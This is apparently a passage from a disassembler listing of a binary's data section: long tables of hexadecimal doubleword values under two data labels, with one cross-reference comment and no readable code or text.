		dd 0CE819840h, 0BC477509h, 0F405F3Ch, 0AB14500Dh, 68C4659h
		dd 0BB723796h, 2EB69884h, 80FDDCE9h, 0F65BFE08h, 0C67E80DEh
		dd 5AF1300Fh, 8E04812Ch, 0F464ABE9h, 9D5B7E66h,	831E1C02h
		dd 0DC20F34Ch, 8C294ED9h, 2B945E6Ch, 0B41B8658h, 0DE846222h
		dd 0D4251B45h, 0B9552D30h, 0DBF28394h, 374849DCh, 52B2EBE9h
		dd 6FE0F6B5h, 0AAF99685h, 0BF40D6D4h, 5F79AB6Ah, 4D61FE52h
		dd 127DC3DBh, 0FBD82958h, 44BA3964h, 0BBE1DCAh,	9643A259h
		dd 14BF009Dh, 5E1FA135h, 8609FD09h, 0A5E9D39Fh,	9A6690D5h
		dd 104882C2h, 0EC7D342h, 0F0E2F131h, 0B98B94A8h, 306885E9h
		dd 0B2AC3144h, 197FE837h, 0B18A6491h, 2942D9BBh, 2598D51Ch
		dd 1FAB5C08h, 0F9E9F2D8h, 0B2307741h, 927C2D1Eh, 6B701470h
		dd 710A5CB5h, 5AC5A638h, 0BF6CE5Bh, 7D2602D2h, 6A47E17Dh
		dd 0E90A81CEh, 0E78017D4h, 2A400DEBh, 0CEAA017Eh, 3EE90801h
		dd 58107918h, 278B0551h, 51E143F1h, 17D14A30h, 0FE15EC79h
		dd 9883770Fh, 540CA92h,	0E964D556h, 0E20CF4BDh,	0D025D80Bh
		dd 0CC3E9063h, 0C5851E68h, 0E158E589h, 0EB2FEB6Eh, 0C250DE5Dh
		dd 6FDD5FFDh, 0CCE90BCBh, 43B3970h, 0CDB797BCh,	0B6EB01D0h
		dd 27F92569h, 0D29D40E6h, 0BD46983Bh, 84C27E71h, 96C7227h
		dd 4BA70B85h, 3003E387h, 0B6E902E5h, 61FD3F53h,	7A3EF7B4h
		dd 0F9CAC7h, 4216A9E9h,	0BE562601h, 0D446794h, 8CEA234h
		dd 17B338B1h, 0DE6FD20Fh, 699BE905h, 0AF3D041h,	0D3601670h
		dd 0BA064057h, 0AE6BD20Ah, 0EA81A54Ah, 34A21FB8h, 0AD4042E5h
		dd 5068F672h, 12C4DB92h, 812507Ch, 8E3E4D46h, 55BF32E6h
		dd 36CD038Eh, 0B1C11692h, 8DE68708h, 408508F9h,	0BF1C2D01h
		dd 0D889E142h, 0A4A2775Bh, 6E4495Ch, 74098F1h, 2FE0C852h
		dd 5E541918h, 46DE2D00h, 36E93D31h, 1A3383DBh, 54B762F0h
		dd 3F0C82D1h, 0A56454CDh, 676AB16h, 16ED17A0h, 0ED6D433Dh
		dd 5E08401Fh, 0D571EC1h, 0F67D0E3Eh, 408BA84h, 0B2ABE1F6h
		dd 487B103Dh, 0EB5EE9A0h, 3CC75997h, 4903321Ah,	5BAA695Dh
		dd 7934B47Eh, 0ACB33BF3h, 65399990h, 0C5281394h, 7F39E804h
		dd 62808761h
dword_4F0044	dd 9180EF53h, 567319F2h, 51B5E5Ch, 7BAC2DFFh, 0DCE98A0Dh
					; DATA XREF: ___:004380ECo
		dd 3FFC5CA4h, 207AB3BEh, 80166DB8h, 24C1D8F7h, 288DEFE3h
		dd 0C882464Eh, 16608D7Fh, 77F7AA52h, 0CBD297EAh, 2A03C302h
		dd 85293BC5h, 816EBA0h,	5ECEBC98h, 682CCC88h, 4E5A150Bh
		dd 0C3000423h, 8BF7F3AFh, 30B355B5h, 1FA1ACBh, 23141857h
		dd 26482B0h, 0DD178C13h, 189FC3A0h, 0C199C46h, 69587ED4h
		dd 0C10E630Eh, 767FB277h, 8BE14BEh, 634A4260h, 0A0FD61C0h
		dd 5E4C08D5h, 932621C9h, 8FFA88B9h, 0E96C4341h,	17B7F31Ch
		dd 0B87D13D8h, 64B64E88h, 0BAC97F30h, 44722DDEh, 27976816h
		dd 0D70543F3h, 0C0677812h, 8B7266CBh, 0F9259DB8h, 0F6054C68h
		dd 4D6495C0h, 0A89C45B7h, 4F08E41Fh, 995C059h, 6C90F942h
		dd 16C9C204h, 25800139h, 60F47132h, 3E40C1Dh, 0E9177706h
		dd 0ADA81C6Bh, 0A980C5A7h, 253307FDh, 0A4A24466h, 0A125E621h
		dd 1FEC570Bh, 0A8E9BDBDh, 0A2486003h, 26395516h, 0B0718AC5h
		dd 0BF9FA9E1h, 11C741F7h, 0F4982284h, 48B5EA19h, 1F42924Ah
		dd 0A5F4746h, 0B0CCDFDh, 48B13412h, 90163B4Fh, 0E99D78FFh
		dd 808071E8h, 3407DF2h,	0E1B65293h, 27D7C6FEh, 0E927A061h
		dd 0B7A9A65Ah, 672875D9h, 5107602Bh, 9FE346E9h,	4798C6CEh
		dd 901A3E27h, 0EA1556Dh, 7210050Fh, 10D3BE7h, 6F5ED276h
		dd 7235B1A0h, 0A2390C70h, 0B280C701h, 78665D80h, 988D254Bh
		dd 0C8882CE8h, 8F018C2Dh, 0E603C419h, 944F08E9h, 0C9B0F883h
		dd 0BFE8DD21h, 82FD89E9h, 67A7C94Bh, 0BA3960EDh, 0AA4217EEh
		dd 79FDA80Eh, 62BD43F0h, 1DA7670h, 17E9CB89h, 0C6A05136h
		dd 2EF2E1A4h, 0F75AF809h, 84964509h, 33C66812h,	3F175CA3h
		dd 96C4E6F2h, 4EECF698h, 0C176B8CBh, 72066E25h,	3116B52Fh
		dd 2F367393h, 71025E53h, 9D016F87h, 86236B05h, 777F9C42h
		dd 368B4D0Bh, 0E9C1BCF1h, 0F92FF06Dh, 5B90C08Ah, 4EE91D5Fh
		dd 0AD8085F6h, 6CD97B6h, 718B7A23h, 0CB81807Eh,	58D112F5h
		dd 30764664h, 0F18191Eh, 740C0B24h, 2FBC0DE9h, 32C00FF2h
		dd 0AD65ED2Eh, 123D5EE5h, 0EF825337h, 71564404h, 17EF0CA4h
		dd 0AA6F2805h, 39966504h, 5F176800h, 40B765C2h,	132D074Fh
		dd 94CB84BAh, 9400EF29h, 178AD4Ah, 0A2E913FEh, 2ECDFDACh
		dd 701736A5h, 0BD5893D1h, 0D4E3AF04h, 0F398533Eh, 0E8880CA3h
		dd 124E5958h, 38AAC228h, 6C5AB409h, 0D20510EBh,	0FC56BB28h
		dd 2F1F7A1Ah, 4A326E07h, 36B2C8D5h, 4EA2B5A0h, 3C436354h
		dd 369731D9h, 560E04B9h, 7B80730Fh, 4C4E6D36h, 6907867Bh
		dd 60043267h, 7E5A53CAh, 0FF2D1390h, 0C12813A1h, 9432B339h
		dd 23825189h, 9DE380A2h, 6E77AD89h, 0F03EBEF3h,	0C45CD03Ah
		dd 0E2146713h, 806882EDh, 642CF274h, 42C73D6h, 0EB165D8Eh
		dd 7D9514C7h, 110124A3h, 2D725C57h, 3B1CE4A7h, 42CAFAA0h
		dd 67BCE45Eh, 23054248h, 0AF0BD64Eh, 0F9E15141h, 2F713B65h
		dd 1F24E8E7h, 26E92F2Eh, 685F3E00h, 95C43442h, 0E0120BCCh
		dd 624F19CEh, 2629D430h, 1ED8B735h, 7060564h, 5CF4CC2h
		dd 0CDC20C31h, 0D552F708h, 3813F08h, 0A41180BFh, 5914E92Dh
		dd 50C8D860h, 35E90705h, 0AE95171Dh, 0BD5E69A7h, 41B280BCh
		dd 0B080D2F6h, 20D09022h, 5EC2A68Ah, 134F5E76h,	6A590F27h
		dd 1D1477A9h, 35066812h, 1C41DF2h, 0AFF2C2D5h, 0B5EF8100h
		dd 48EC1621h, 71747158h, 60BA0054h, 42BB240Fh, 36AA0436h
		dd 41EBAADh, 473C5405h,	0A22BA281h, 0EABD313Ah,	5F800531h
		dd 503250EDh, 1773E76Eh, 421F4Ch, 0ABBB2DE9h, 0F6B89958h
		dd 0ABDFA40h, 0B733D92h, 36A24B3h, 0B3594DC9h, 6CA0EBD4h
		dd 0E6782DFAh, 45F8C660h, 18602630h, 4A25D73Dh,	1BAB00A1h
		dd 0CE29580Dh, 8810798h, 3CB47F59h, 37A1BF41h, 2050E128h
		dd 0B027D485h, 2CB5F6F4h, 47581708h, 595E998h, 2972FEC8h
		dd 9FE270E0h, 605DAB61h, 0B83E3E8h, 66444984h, 92B9DF02h
		dd 0BE0B9452h, 63226D4Fh, 0C200B51Eh, 4AA7BC79h, 2CFB4889h
		dd 2BC8F527h, 0C83D4060h, 9B5F9236h, 4D242FCh, 0C4DA350h
		dd 139DD068h, 0BB485828h, 1D31DF01h, 0A02FC5E3h, 0FD2A68F3h
		dd 0F836ED7Ah, 7DB060D7h, 840F807Dh, 0F97CB22Dh, 60412815h
		dd 9CE7CDF3h, 3F4FAB42h, 0A47E41AEh, 2FCA49B1h,	78E9F302h
		dd 25B87730h, 2B935558h, 0CCF55925h, 0EE69AF88h, 0A2687794h
		dd 5F81BA42h, 815C359Fh, 0C568F1F7h, 0A8C3A3Fh,	38339058h
		dd 47A55AF8h, 3202AF40h, 0E001F283h, 88991900h,	304B96C4h
		dd 873A06E5h, 89EE8787h, 0A8A60453h, 0A2B0EAE5h, 6FDC7288h
		dd 6B8425E1h, 3570928h,	6240CEDBh, 115A7633h, 0B0B45904h
		dd 0CEC34A1Bh, 874A6B81h, 0E6F05B14h, 0FF44CA2h, 46EED17Bh
		dd 3B5260E6h, 8C04F307h, 0C760A9D9h, 5808443Dh,	0D320720Ah
		dd 67FBBB05h, 0C5F1714Dh, 2F350D20h, 584556h, 86C47739h
		dd 5DEF29DAh, 19F68106h, 1EC7F03Ch, 0C4603452h,	0C2A1C048h
		dd 0F812B050h, 30B0D7E9h, 11D92A68h, 0CAB6091Ah, 0E604D6F6h
		dd 0DDD81DFFh, 73F58004h, 61ED3B88h, 288EC506h,	0E9EA10E5h
		dd 0E380D04Eh, 2455F6BEh, 2D871B8h, 16070C49h, 0D408A441h
		dd 0CC114AAh, 8FA4AF4Fh, 39A69321h, 1631029Ah, 4C40685Ah
		dd 0F2253454h, 998F052h, 14DC29BCh, 532DC080h, 0F99D5693h
		dd 0B869005Dh, 0FB01D3B0h, 0C56D5F59h, 0EA005053h, 7E2EA7B9h
		dd 38896E5Bh, 1B168374h, 5CE6522h, 12BDAA1h, 6B68C9DDh
		dd 0C4B08243h, 0DD418547h, 7520DFE1h, 0E19D8288h, 7F806724h
		dd 0C22994C0h, 0D1000AB4h, 0CD3540E8h, 75BD011Ch, 0A0F330Dh
		dd 8CB07F34h, 0C9D026A0h, 899816E3h, 0AAFC3F14h, 816CE5A1h
		dd 5AA2BF22h, 0CF426708h, 4F677C5Ch, 38D8F20Ah,	65F695FBh
		dd 3A0379h, 4B92BE49h, 0ECF43B13h, 0CAF4334Fh, 5ADAF006h
		dd 0CE32907Ch, 7548D154h, 97B10537h, 4FFD5DBh, 0AB2F998Eh
		dd 0D014F18Ah, 0F07B261Fh, 0B8FF4ED2h, 41E3D736h, 0C139FFD2h
		dd 5135A06Fh, 5431B29Fh, 0BD685060h, 795DE3A2h,	14F56934h
		dd 0D8E62532h, 55DF986Ch, 0F98D404Bh, 1F188CBh,	0B95AF28h
		dd 189C7DDAh, 6502CDCh,	5AF7280Fh, 0E8775009h, 0CFFAB31Ah
		dd 298B520Ch, 66BECEC1h, 32BB4FD2h, 0CAA52E03h,	46CA825Bh
		dd 0FC65ADDh, 74E04E49h, 0A3FA0869h, 0ED25F704h, 92A0FF0Bh
		dd 7D2A52CFh, 7AABC4h, 0F8060ABBh, 0E6E8B50Ch, 0D2D4B13h
		dd 4C28D46Ch, 7819F658h, 0C3DE5902h, 3D21F33Fh,	0B8D04A88h
		dd 98CAFEF8h, 0BF477029h, 68041BDBh, 65AA149Eh,	0AE2E94C5h
		dd 0ED815171h, 1EC553E4h, 3ACD017Bh, 828908D1h,	1C5F4467h
		dd 478C8099h, 43912671h, 38C1081h, 0F687E780h, 85C7AADFh
		dd 93F0A2BDh, 417301BBh, 0E3C1030Fh, 3607A602h,	0CF502110h
		dd 0AF1D2EA6h, 6DEB0090h, 313B2ED6h, 0D15BD925h, 0CA298994h
		dd 84046959h, 1EFB73Ah,	0A2EC9FE0h, 0F2402ABFh,	0E70416C3h
		dd 0EBB9A84Eh, 790E0DE1h, 0F80E4328h, 0F55FE964h, 0E889A381h
		dd 0CF34FC3Bh, 0BDD37FAh, 0CBAEBE45h, 4BC4884h,	66A22CFFh
		dd 0DF6AC1AFh, 0C11B816Dh, 1D8D3A92h, 87F7486Eh, 0D5083324h
		dd 4FD52652h, 0BBD936E5h, 7795B2D2h, 9F4A69D0h,	0B66B77E1h
		dd 0D62F8B53h, 51452FA0h, 0C3B25516h, 0CF01E909h, 9E5110DFh
		dd 6AFBB7FBh, 0C0A4B2ADh, 94F08BABh, 41B46251h,	20BA4CDFh
		dd 7E90F8F6h, 71867EB7h
dword_4F0844	dd 0E20CB483h, 280453B2h, 0FB17B106h, 0ABE5E9D0h, 0E643B68h
		dd 54960979h, 92554ABDh, 770755F7h, 0F80E4931h,	9E5FE50Bh
		dd 0C7F3FEC1h, 0E379B995h, 8E050F40h, 48A0D76Ch, 0D5F644ABh
		dd 0E6521FC2h, 34F67200h, 95C5D1FCh, 0C353C10Bh, 0FE93E943h
		dd 67E7483Dh, 7BC04510h, 0D50617FCh, 0C889B20Bh, 71D9A268h
		dd 0F041BE1Ah, 719FB56Ch, 2E260C39h, 73E06842h,	50321A25h
		dd 523B0304h, 5D570F2Ch, 0C2ED1207h, 57992F78h,	68F081A3h
		dd 1C602DABh, 9CC08FAh,	4A5D3EEAh, 63021396h, 3388FEBAh
		dd 0F25B31BAh, 0FB26E961h, 80DFF701h, 0E2A8917Ah, 0B0F92967h
		dd 0AB6ABDB5h, 0F476CB4Ah, 7E843697h, 0F7903CABh, 278AF948h
		dd 25A0D178h, 905FE32Bh, 82B4E68Ah, 30CB98C0h, 74BCC25Ah
		dd 0D3289708h, 6BFCD03Ah, 1D8F425Fh, 93A8F4Ah, 0E6D0CCE9h
		dd 3D0D209Eh, 5BDA3117h, 54912057h, 0DB64D861h,	643812A1h
		dd 63FD027Eh, 0EF829BC7h, 0AC567411h, 45BE0B6Eh, 58862E2Ch
		dd 2D80E687h, 6B6D1228h, 0F416AA35h, 0B6D677A3h, 78D25B8Ah
		dd 2995A351h, 0B677B9F3h, 0E12E446Fh, 8D2316DAh, 5A903654h
		dd 31AB3A93h, 197DEFEAh, 0FE46C3C4h, 71E98057h,	813FB1DFh
		dd 3CEAFC05h, 0B77530F7h, 7D6E2518h, 3624160Ch,	0C4C638B1h
		dd 0C410883h, 60B06A14h, 0DDD85B68h, 0F067218Ch, 7AE159A1h
		dd 0D3FCB2h, 0B641C20Ch, 2030E912h, 68562813h, 0AD3B5A86h
		dd 2C5F8041h, 58110F0h,	0F4A6CC2h, 6513EB09h, 55001BEh
		dd 0F09E798Eh, 2D51F001h, 0F0493A07h, 0E9BDAF66h, 0BD4E81F8h
		dd 34600774h, 600203F1h, 24E947EBh, 0B001C728h,	535E5AF0h
		dd 0A82F7FDDh, 5EEE3A40h, 79671290h, 225F90CBh,	0EE090149h
		dd 54FB3CE3h, 167A00B1h, 0B8500B4Bh, 9568790Bh,	0F0208676h
		dd 11709757h, 87626296h, 854F04A8h, 0A00581D5h,	2E9C3B20h
		dd 0E7D15A21h, 3AE44952h, 9F59C0BFh, 3075F50h, 5B6EAC74h
		dd 4005E882h, 0B11D936Ch, 0DAF10889h, 5C0BAC2Ah, 7920B168h
		dd 0B6958897h, 7FE80909h, 350666C6h, 0FC12E3Bh,	315FF4ECh
		dd 0E968E4B0h, 2AB3821h, 0F2F146BFh, 2D6C74A9h,	30052A43h
		dd 186D0AF8h, 8D7F400h,	4A016253h, 122AF6D5h, 61BF9FC1h
		dd 26C6AF3Ah, 0E2724C63h, 2FEE7D29h, 4F1FE997h,	39E901FAh
		dd 4D9A7AA1h, 0F92A4151h, 42F7C9FDh, 5EF1D5D8h,	2A4AEB4Fh
		dd 0EB027108h, 5622B845h, 56DA2D72h, 625D0B82h,	0E98AD4E7h
		dd 0EF2E28FEh, 387B1CD1h, 680B53F0h, 5A3D7E66h,	0F4E912D7h
		dd 0D362206Eh, 6AB21548h, 347083Dh, 0EC2E5BEFh,	0AF20024Fh
		dd 31BBF872h, 11A20DE0h, 0B7C8DD82h, 0CC1F28EBh, 0B78B91E8h
		dd 816C719Fh, 3D2D0DD7h, 0C71AF856h, 2245CC9Dh,	3C5A17E6h
		dd 0BD93DFC1h, 4DEC0D00h, 86096A2Eh, 0D5A87A93h, 0F93CAE4Ah
		dd 0B26D4F92h, 0B1B784D5h, 0E045571Eh, 789A8687h, 0D4ED5C5Ah
		dd 0C6E34DCBh, 386A87A0h, 133169Fh, 7D103086h, 6A384A29h
		dd 761378Ah, 6B5E35E9h,	0F86DE2D2h, 0D58014Ah, 6619555Dh
		dd 0B7C02AF7h, 2075214Fh, 2906012Bh, 0D5C6E9C2h, 76B101A2h
		dd 458E130h, 65F16B60h,	5BD3E9D0h, 2516569Eh, 0A59816F2h
		dd 0F3166B1Ch, 0D4E96507h, 3418F52Bh, 7E5E633Ah, 70F4784h
		dd 240769E9h, 0A2EBD68Bh, 0B5518197h, 0DC2088A2h, 50E74012h
		dd 80E5B400h, 0E4C0C1F4h, 6ECCEC04h, 0F6060660h, 0B40B1CDCh
		dd 0FD58E728h, 3019D020h, 0D9C45BFCh, 0C4FBC820h, 10F1A399h
		dd 680A9C08h, 92E40A20h, 0D38CFB7Ch, 10CE605Bh,	0E68006B6h
		dd 2B305C98h, 0B4B89BDDh, 4A5B2E10h, 4B7F10D0h,	0C87F53B1h
		dd 47415E1Ch, 97E6AC7Ah, 0E90F28BEh, 8F0F4E32h,	0C0EFDEB2h
		dd 822196D6h, 49C4294Eh, 195D40BBh, 0E94D0655h,	6D34BB29h
		dd 3BF4C817h, 37FA00BEh, 0F74E18ECh, 5A2F68D6h,	84411B6Ch
		dd 1736BC57h, 0E634159Fh, 4F38D15Bh, 71F5C70Bh,	0FC135870h
		dd 0D49057FEh, 0B7034DB9h, 0B033EC03h, 3220D9C1h, 0E1160E82h
		dd 30EF7FC9h, 0E6BF2FE4h, 0E8982558h, 0B652167Fh, 3B98C27Dh
		dd 5100C845h, 1E1F6855h, 5D4A0676h, 4ED19DE9h, 4FFD871Ah
		dd 26797706h, 20F0E906h, 0BBEB0747h, 0B26C5F17h, 0E6F7B06Fh
		dd 0B8FF8928h, 0FB47162Bh, 7024DCCBh, 0FE319267h, 0FB540F04h
		dd 813AE012h, 0D69FCA70h, 1BFE5AA9h, 892C9C2h, 0B8770AA6h
		dd 688740E5h, 0FFC705C5h, 92BFD45Fh, 7898D8ADh,	0C180F2D0h
		dd 2E0648E1h, 6746E404h, 3481EA3Ah, 2C01C26Ch, 3672C9F3h
		dd 0F0C66424h, 0EDDDAE17h, 40FEF960h, 0AC326869h, 0F0B68B7Bh
		dd 3354B584h, 43E91854h, 42EE1F0Fh, 4B7B99E2h, 273E892Fh
		dd 0C63219BDh, 2F82F802h, 0C4EB22Bh, 39645CF6h,	0D4F60289h
		dd 48930C10h, 53660105h, 0FC0892B7h, 0B525BD8h,	0F4203DB6h
		dd 80436271h, 0EC30C7E4h, 0BFE128B2h, 0E3EA2B10h, 0D049FB94h
		dd 667FEB3Fh, 8D02CE0Bh, 0C13D1109h, 0C650C0E6h, 6B2B197Bh
		dd 38011E7Ah, 170680DFh, 5A898ED7h, 24748BF0h, 0CDA26D2Eh
		dd 0E1BD7BBFh, 3F098468h, 5B8E60CCh, 87F5C5B3h,	0D3540CB3h
		dd 53203141h, 0EB261234h, 0C70FBB0Bh, 0ECF2AF92h, 33E908D6h
		dd 0CA4FF6E0h, 2DA37FB9h, 2F8AD080h, 70AA230h, 0FB272FBh
		dd 450311C4h, 16CE6066h, 0C372D04h, 76A52559h, 57B00814h
		dd 26105847h, 776D7480h, 1996316Ch, 22AECC9h, 469671D7h
		dd 0DC61CB29h, 29CF2B8Fh, 0E81F307Fh, 0F91EF71Fh, 893ED8E2h
		dd 42DBADFDh, 95477A98h, 595F677Ah, 0FF8898B3h,	7ADC842h
		dd 0C6BDB155h, 1ED9785Eh, 846C7E98h, 39FADEBEh,	551B8E76h
		dd 19B8A050h, 0BAF1E928h, 2D817540h, 17765C4Eh,	55AA9020h
		dd 60AE535Fh, 4DDF80BBh, 0FAC0264Eh, 6422E952h,	985A52E0h
		dd 0ECBF53C4h, 1DB2BFA8h, 0DB507063h, 82408D7Ch, 8971945Ah
		dd 0B156E660h, 5BD668E1h, 0F4595FC2h, 0E3BFC2E5h, 0A58A1A06h
		dd 963B81C9h, 0C72FA920h, 754BE626h, 26010490h,	4275A374h
		dd 0C03AE2C1h, 501BDAFh, 0A5E91A12h, 7581A3FDh,	7F624D5Fh
		dd 7AA5D9E4h, 0BA6A582Bh, 0AFBC1713h, 597F39CEh, 994FF744h
		dd 6EFA21E9h, 0ED41DB2h, 67168E0h, 1944EFC4h, 0BB53AD00h
		dd 9E5E13C8h, 3DF84B0h,	0E91C3A2Dh, 73048065h, 43BD220Dh
		dd 27604F80h, 12544B0Ah, 5DA3D212h, 772779D6h, 409D709Ch
		dd 97B26BBAh, 0D2E03DC6h, 0A0C50082h, 0B73A4F96h, 41153282h
		dd 604FF00Bh, 0DE34C56h, 9CFE613Ch, 1FDFFA95h, 4E8024B3h
		dd 477C0B6h, 0D043E274h, 4C7C12BAh, 815D6500h, 0BD2A0DEDh
		dd 944D5015h, 0D6112EE4h, 73C70943h, 21444579h,	0FAD3D0ADh
		dd 46854503h, 0A361126Eh, 0DEC5B80Ch, 0F7666B4Ah, 0C3A713C9h
		dd 0C84F4ADDh, 2C09BDE3h, 50327D51h, 4F57E29Dh,	9DDDA3F7h
		dd 0A47EEF81h, 817E54F1h, 42605A7h, 0EB80BFC2h,	295EF303h
		dd 420CF6h, 45AC32CAh, 0E9135143h, 88C02C4h, 4B774B68h
		dd 0EADC34CAh, 79F15FDAh, 72440CB1h, 2D6DE4h, 64AB690Fh
		dd 0C8041C0Dh, 0CEE93D0Eh, 8EFA12E8h, 5F9C64E5h, 60E08DABh
		dd 7E1742FBh, 0DE1934ECh, 43817AD8h, 5E59DEE3h,	0C39C2433h
		dd 37677D09h, 591BF42Fh, 2D076ABCh, 177F505Fh, 29D4153h
		dd 1ACB823Bh, 0EEF4E142h, 189808A0h, 3BB7B20h, 0BD231135h
		dd 0CDD94850h, 59A2A19h, 0B868E58h, 0AD7674ABh,	7261EE27h
		dd 9F7EFA93h, 8FDDE18Bh, 1AA4854h, 0C07B48B8h, 5766015h
		dd 289D2D18h, 32E94054h
		dd 8826B9B5h, 0C933C3FFh, 447BC559h, 16297EF5h,	9031A143h
		dd 5BCC0568h, 0C478203Eh, 3A36EFA7h, 0F38C0F0Ch, 0BD56F06Fh
		dd 61BB973Fh, 24BD48ABh, 4A26A475h, 1A0CB717h, 132E15BEh
		dd 0F852F254h, 2BE5B0F0h, 6BEA2E6Ch, 53FF0002h,	0E2482A68h
		dd 21D3424Eh, 20F3EC2Dh, 0D1685104h, 0B712135Ch, 0FC5AD0A8h
		dd 0A35BE27Ah, 0B65D539Ch, 0FC6B1FD3h, 37588939h, 93FDE4B3h
		dd 72A85E16h, 7B331A38h, 0B8623613h, 4B02F98h, 0CBE9536Ch
		dd 5BF1A205h, 23CDC9ECh, 1DB02F71h, 5C3809EDh, 25800C26h
		dd 1D8C3754h, 0B5CA1495h, 0C8EBAAA4h, 720BC173h, 85154883h
		dd 0D9B30E7Fh, 2DA2CCDFh, 0DC955812h, 0D8FE165Ah, 88B159A8h
		dd 65E28089h, 0B4521F3Dh, 0E3B791D1h, 9EBB01EAh, 0E80DA42Fh
		dd 2EADB65Fh, 7476E1F2h, 0E3010026h, 519A3E0Fh,	35BC320h
		dd 0E980BA28h, 0E527E4EFh, 5A5572EDh, 3E29BF5Ah, 13778CA6h
		dd 0AED45339h, 79F8CDDDh, 0E1DD22Ah, 5655FEh, 235B0253h
		dd 6E4FE922h, 0A17A29E1h, 0D8F27E89h, 12C82C84h, 0E78A530Fh
		dd 0C7D51C88h, 91FBA709h, 437F6CC5h, 211BEE21h,	524C22BBh
		dd 52084083h, 6F186804h, 95990FC2h, 86FAAB44h, 3D0B64CAh
		dd 7733EC41h, 0F895138Fh, 8B1C5830h, 6B020532h,	904DE50Dh
		dd 2524605Ch, 0E0B981E8h, 0C7A7B4Eh, 0BC0D3A2Bh, 4AE23917h
		dd 4566C99Eh, 72F07030h, 0DF5B10CBh, 8FCC9FE8h,	0ADA6D53Fh
		dd 5A2481DFh, 0A16FE788h, 0D9F22B26h, 0A3B4F993h, 5BF88158h
		dd 221D522Ch, 0E925E028h, 2D6E80AFh, 5D88119Eh,	0A497D631h
		dd 2145E238h, 68B3BD3Ch, 0E913BFCEh, 7FED114Dh,	0A151AC96h
		dd 0EDBB3048h, 23E1BB25h, 0D40E2059h, 743E631Fh, 17F13F0Ah
		dd 0F0A2A817h, 265DF093h, 5C1D323Ah, 0D4BC2DF4h, 198A7266h
		dd 46FB022Eh, 34600BA0h, 0D878CB13h, 3F39F8EDh,	0C2107228h
		dd 0BF58C440h, 619FD778h, 0B960E687h, 0B2325E77h, 616B8539h
		dd 0F71797F2h, 0E8A9D8h, 7A403CA1h, 61B9E952h, 0AD68F11Ah
		dd 0E5DDC24Ah, 1BE9041Fh, 40DD9038h, 4748B448h,	3BA334A1h
		dd 0D6C6F2FBh, 2CA02DBEh, 25EA4E09h, 0E8601C92h, 0E0884F34h
		dd 0A1B15DD0h, 1C6B9081h, 40DA0169h, 80138EEBh,	2C3C100Ch
		dd 239390E0h, 80F4B403h, 0EC993EE4h, 0C4CCD8FFh, 0F69A879Dh
		dd 1AAFCBDEh, 6E367990h, 0C001A668h, 0D5F608EDh, 7E75D6E9h
		dd 0F63D6A4h, 45CC3D2Ch, 1F3B5A9Ch, 10EACADEh, 0E9130858h
		dd 183ED576h, 44D62CE1h, 39D51E60h, 90CF0141h, 43C3008Bh
		dd 0BF570FF5h, 0B72772EBh, 16047F3Ah, 3F7BF163h, 144749D1h
		dd 299B6104h, 0E08242C3h, 6682675Eh, 41459713h,	58025C79h
		dd 0C0002D6Ch, 0DBF607EBh, 1741B652h, 0BAE8C9E9h, 1AC74C64h
		dd 0E0E77412h, 9472A1B5h, 0C9A843B2h, 45330487h, 88B41EAFh
		dd 2A2C2CAAh, 0A47C083Fh, 2DABAC13h, 0B950219Fh, 90EA4972h
		dd 5D904CAh, 0B718381Eh, 4B5A4E9h, 0A7BF59CDh, 4AE985E7h
		dd 551624B8h, 5A6F88BDh, 0E127325Eh, 0FFE5DC82h, 0BC2403ECh
		dd 22430C10h, 7E5E9240h, 39D42F7Ah, 0CC00BA0h, 47451BE0h
		dd 3C259558h, 1DD9B8A2h, 0C3CBF42Ch, 73807A87h,	58FB877h
		dd 3E68D2F6h, 0CF43FC2Eh, 0CCC9E0CBh, 0C902E9C0h, 0D2B1E4AAh
		dd 9A053A20h, 9FBD12B6h, 19FEA024h, 30D60C26h, 0E924BF09h
		dd 0D3A56D9Ch, 36E9E2D6h, 6816C950h, 0EC2909F9h, 0CE2F8E25h
		dd 57C8123Ch, 70B1B0CCh, 0D67E977Ah, 0D8EB8161h, 9D50BAF0h
		dd 809A6CAh, 0AF687948h, 1089E1B4h, 521CFCCEh, 8822D35Dh
		dd 0C231DDC9h, 0A6058E12h, 0F2B04FD4h, 2B2441A2h, 0A8132CA0h
		dd 728850B8h, 4AE56AD4h, 68588361h, 891032D0h, 0ED5BDFCCh
		dd 0F46882B1h, 3488CC2Ch, 0EF5319D8h, 60F431E0h, 61348F95h
		dd 45F46EC3h, 838B0C48h, 0C41810F4h, 81087DC0h,	7E4B3CCEh
		dd 1DE56D24h, 19A2813Fh, 2C58C609h, 0E8F9244Dh,	0C9752A7h
		dd 7E6D650Ch, 0D88329D0h, 284336CAh, 719D6F70h,	1F373045h
		dd 0D0BB400Ch, 0F2278E98h, 9EEAF9DEh, 5D298950h, 482F5D72h
		dd 27B09818h, 0FAD07B11h, 0E82FE973h, 0CFB8B429h, 2DFBA2A4h
		dd 6D34DF59h, 0AC895BB4h, 74B957A4h, 89737B5Bh,	0BA00FC56h
		dd 7149689Eh, 9AB95118h, 4A43E90Dh, 2DEE906Ch, 0E01306D6h
		dd 68D25E60h, 0CE88F567h, 0C875E941h, 5EE90A08h, 0BB7E8128h
		dd 58086338h, 4AEF4DF2h, 0A5F339FBh, 75AF2982h,	16314625h
		dd 0EE9506E2h, 8AB40602h, 0B0F4B07h, 99D8023Bh,	0CA5A05E6h
		dd 2CFED693h, 0CA24E9FAh, 0B08F41DCh, 50840928h, 0E0B72759h
		dd 9DB0F250h, 584BCF7Dh, 0DDEAED17h, 3B3BF9D8h,	0A95C7AC2h
		dd 0AB438041h, 9E5AC378h, 87E0A517h, 3C268750h,	8415DDA5h
		dd 5D287DD2h, 2AFA2D57h, 0C2277A48h, 71760668h,	0FBAC959Ch
		dd 0E30EC04Eh, 5A241BC5h, 48002F70h, 0E9FE9C57h, 34A99B2h
		dd 674AC7CAh, 0EA8742E8h, 24EF60FCh, 0A3418AD7h, 2080E6Bh
		dd 16CBB13h, 0E97A8EEEh, 528DC9h, 945FAAC2h, 4AD09F1Ch
		dd 1E9334A0h, 0A26CED24h, 4E2D513h, 0FE79DA46h,	89C16FC7h
		dd 0BB867794h, 524C733Ch, 4B231222h, 46936B06h,	2CEA0795h
		dd 0B73C5027h, 0B22DCC0Dh, 4028A124h, 1485330Ch, 43530E35h
		dd 71A113CDh, 7EBE79FBh, 9D010683h, 363BD901h, 0FEE16ED6h
		dd 0A03CBC6Ah, 990A7B68h, 51538F62h, 9204E441h,	4AA6807h
		dd 6E9755C6h, 0E304E5F9h, 82E048E4h, 96A92438h,	0B8EEC0DFh
		dd 12D01857h, 32E91101h, 927655BAh, 1A8FD227h, 5C0F4224h
